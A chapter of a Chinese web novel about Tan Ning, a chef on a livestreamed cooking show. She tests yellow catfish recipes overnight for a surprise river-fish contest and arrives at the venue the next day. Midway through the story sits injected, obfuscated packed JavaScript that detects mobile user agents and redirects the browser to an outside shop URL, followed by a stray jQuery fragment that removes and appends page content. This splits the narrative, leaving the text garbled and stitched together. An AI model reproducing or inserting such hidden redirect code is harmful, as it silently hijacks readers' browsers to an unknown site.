谭宁早上睁眼打开那条凌晨四点发来的语音，怒喊声传来的瞬间，瞌睡都被吓醒了。
语音不长，胜在声响。那一嗓门嚎的，成功在谭宁耳边绕了一早上。
照例骑车到店里，经过前台时，谭宁看到那儿围着一群人，不时发出此起彼伏的细碎笑声。
谭宁困惑的走过去，还有一段距离时，突然被人叫住。
“谭主厨！”默默从身后大步流星地走过来，“鲜果挞我改了个新的配方，能帮我看看吗？”
谭宁转过去看向他，余光瞥到身后的人群顿时如飞鸟般散开，突然间噤了声。
“好……好啊。”
谭宁被默默拉着，心口却像被什么东西堵住了似的，总觉得不舒服。
最靠近的时刻，她好像从人群缝隙中看到了屏幕上的画面，那一抹一闪而过的金黄，怎么看怎么像自己的头发。
但画面一直在动，谭宁并不能确定那是什么，内心深处还是更愿意相信那是自己的错觉。
她不是喜欢纠结的性格，于是很快收回心思，投入到上午的工作中。
客人一如既往的热情，但西厨房的员工已经在过程中配合出了默契，因此并不显得慌乱。
过了两点，上午的客人都陆续离开，而下一波客人还尚未到来。
没有新的订单下达，大家纷纷摘下帽子出去吃饭。
“哎，等等。”笑笑在门口叫住谭宁，给她递来一张节目卡片。
“这是新的任务。谭主厨，麻烦您对着镜头拆开。”
“哦，好。”尽管有些累，胃里空空，谭宁还是挤出一个笑，接过卡片打开。
“亲爱的主厨大人……”她清清嗓子，用清脆的声音一字一句念出：“明天下午将在屿夏举办厨艺比拼，主题是鲜。届时将随机抽取一款河鲜作为主食材创作美食，由评委打分后进行排名。排名结果将计入本周统计，请各位做好准备。”
谭宁收起卡片，抬头看向笑笑：“明天下午吗？这么临时？”
笑笑轻车熟路的回道：“放宽心啦谭主厨，相信你的实力肯定没问题哒～”
“这倒是啦……”谭宁笑着凑上去问她：“笑笑～明天都有哪些河鲜？提前告诉我我也好做准备呀～”
节目录制以后，笑笑专门负责他们这一组的工作对接，一来二去的，两个人关系也亲近起来。
“想知道啊？”笑笑看了眼摄像头，故意逗她：“那你求求我呀～”
这还不简单。
谭宁驾轻就熟地挽住她的胳膊，整个人像块棉花糖一样黏了上去：“求求你，求求你。知道你最好啦～笑笑导演～～”
说完还觉得诚意不够，起身又是捏肩又是捶背，全直播间都看着她在这当狗腿。
【笑死我了，谁能告诉我这和刚刚在厨房严肃冷漠的谭主厨是同一个人吗？】
【啊啊啊啊这谁扛得住啊，快答应她啊！】
【歪，谷子导演吗？我要举报这里有人当众行贿，对工作人员使用美人计啊！】
……
闹够了，笑笑把自己的胳膊从她手里拿出来，勾唇浅笑，颇有种渣男拔x无情的意味。
“不行哦谭主厨。”她拍了拍她的头：“明天你就能知道了，祝你好运～”
“哼！”谭宁看着她离去的背影，知道自己被逗弄也并不生气。她带着抹淡淡的笑回到店里，开始思考明天要如何应对。
有了上一次大失败的经历，谭宁非常重视本周的排名。突如其来的厨艺比拼对她而言不仅是挑战，更是机会。如果做得好的话，说不定还能一飞冲天，直接跃到第一名！
想到那时候李侃星的黑脸，谭宁就忍不住哈哈笑出声来，她暗自下定决心，这次她势在必得！
于是当下便给老杜发消息，问他有没有没卖出去的鱼或者虾，她有急用。
谭宁运气不错，今天有个饭店订的黄颡鱼多了些，老杜本来准备拿回家去加餐的。
听说她要准备比赛用，十分慷慨的让了出来，还特意送到店里。
他将装着黄颡鱼的黑袋子交到谭宁手里，巴掌大小的鱼还在里面活蹦乱跳。
“加油啊，不要糟蹋我的鱼。”
谭宁站在阳光下冲他笑着挥了挥手：“放心吧！”
晚上打烊以后，厨房又成了她一个人的游乐园。她把鱼从水缸里捞出来，戴上手套熟练地开始杀鱼。
黄颡鱼刺尖利，谭宁处理的时候格外小心。用剪刀从下颚剪开，双手拉住豁口往两边撕，这样鱼的内脏就都暴露出来了。
去掉内脏，剪去鱼鳃，用热水烫掉鱼表面的粘液，用清水淘洗，直到没有血水。
黄颡鱼初步处理好，谭宁来准备配料。
星城靠湖，黄颡鱼在这里的饭桌上很常见。星城人习惯把它称作为黄鸭叫，听说是因为它会发出某种叫声。
按照星城的家常做法，用黄鸭叫来煮豆腐，佐以小米椒，鲜香麻辣，这一碗全都囊括在内。
但既然是比赛，肯定要以奇取胜。
处理海鲜，谭宁非常得心应手。但要说中式的鱼啊虾啊，普通家常的做法没问题，创新就有点儿难了。
这也是为什么她要在比赛前一天晚上就开始做准备，因为预感到会有很多要调整的地方。
学厨以后，她发现做饭和做科研其实也颇有些共通之处。比如说控制变量，再比如说试错迭代。厨房也是最好的实验室，定义问题、拆解步骤、应对不确定性，在有限的条件下创造出价值……
做出一道菜的成就感并不亚于证明某种假设和定理。
虽然是科研未半而中道崩殂，谭宁依旧将这份严谨的科研精神带到了厨房，在每次下厨都会提前做一份完整的思维导图，记录下步骤方便随时调整。
她对照着打好的草图，有条不紊的进行着。就这么边做边改，直到夜深人静，身上的衣服湿了又干，贴在皮肤上。
这次她用的是香煎做法，佐以迷迭香和鼠尾草。本来是想将中西餐进行融合创作，但法式香料的味道过于浓重，掩盖了鱼本身的鲜嫩，适得其反了。
谭宁放下筷子，沉默的看着面前几盘失败的半成品们和最后两条没有制作的鱼，长叹一声。
她盯着天花板放空了一会儿，决定暂时放过自己。没有灵感在这耗着也是浪费食材，不如明天再来。
谭宁花两秒钟做出决定，然后开始麻利地收拾残局。把做出来的菜用打包盒包起来，没有用过的那条鱼放进冰柜，洗锅洗碗擦台面。
全部完成后，关灯拎袋子锁门，一气呵成。
寂静的夜，昏黄的路灯星星点点。谭宁骑上小电驴，凉风刮蹭着她的小腿，带着她飞快穿过这条街。
头顶高挂的月亮将最后一个人护送回家，终于可以恬静的睡去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571513|203498||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
第二天是中餐供应日，看到谭宁一大早出现在店里，王师傅咦了一声。
“小谭？你怎么来了？是我记错日子了吗？”
“没有没有。”谭宁小幅度摆了摆手，“我来准备下午的比赛。”
她昨晚没睡好，眼下一片青黑，说着又打了个哈欠。
王师傅对她这个样子还挺喜闻乐见：“什么比赛把你难成这样？”
谭宁便跟他说了比赛内容。
“昨天我用黄颡鱼尝试了几种做法，但都不太行。不是苦了就是酸了，怪怪的。”
做菜和赢比赛是有本质区别的，做菜好吃就够了，而赢比赛需要的是让人耳目一新。王师傅做菜称得上一流，一道菜吃一口，比例什么的都能脱口而出。但要让他去参加比赛，那又是另一种情形。
王师傅虽给不了什么建议，却也很懂得调试心情。他佯装生气地背着手说：“小谭，这我可要批评你了。像你这么厉害的大厨还说这话，给不给别人活路了？”
谭宁知道他在安慰她，也没说出像我这样厉害的还有两位这种话。她咧开嘴笑了笑，随后就进了厨房。
进去后，谭宁先把鱼从冰柜拿出来恢复到室温，走到料理台时，她抬头看到了墙上贴着的便签。
便签的颜色和上面的字迹一看就不是自己的，谭宁伸手将它拿下，上面写的是好像是某种料汁的调配。
谭宁从头到位看了一遍，终于发现这是那道蟹黄鱼翅中的黄焖料汁。
看着便签上飞舞的字迹，她突然福至心灵的勾唇一笑。
其实，她从来都不是在孤军奋战。
下午，谭宁乘坐节目组的车前往屿夏。下车后，正好遇上同一时间从店里出发的吴迪。
吴迪热情的上前和她打招呼，“嗨～谭宁！”
“你们店最近好火爆啊，每天一上网首页全是辣椒碰头的帖子，厉害！”
谭宁很高兴的接受了他的夸奖，并友好回赠：“半斗米也很棒啊！上周就是第一名，这周William来了以后，你们肯定更上一层楼吧？”
吴迪是直爽的性子，有什么东西从来不会藏着掖着。这话算是说到吴迪心坎上了，突然一下打开了话匣子，跟谭宁分享起来。
“哇～你是不知道William老师有多厉害！你能想到他用红薯泥和猪油一起熬成的酱汁拌面有多好吃吗？又甜又有筋道，还有……”
吴迪和她说了一路，谭宁听得津津有味，越来越坚定要拿第一名的想法，对于尚未到来的嘉宾也更加期待起来。
工作人员引导他们来到厨房，这里已经布置成了赛场的样子。
屿夏的厨房比辣椒碰头两个厨房加起来还要大，除却大炮台和料理台以外还有很大的空间。
到处都是摄像机，谭宁和吴迪穿过人群，远远看到前方有五六个人站在那儿谈话，李侃星和屿夏的老板也在其中。
谭宁是星台的忠实观众，认出其中一位那是星台另一档美食竞技综艺的评委。
联想到差不多的现场布置，谭宁作为老综艺人的敏锐此时恰到好处的发挥出来。她猜想评委应该是一位中厨一位西厨再加上一个有流量的明星或者是达人。
带着猜想，谭宁和吴迪上前和评委们打招呼，算是漏了个脸。
导演组给他们别上麦和耳机，谭宁、吴迪、李侃星三人并肩站在厨房正中央，比赛就正式开始了。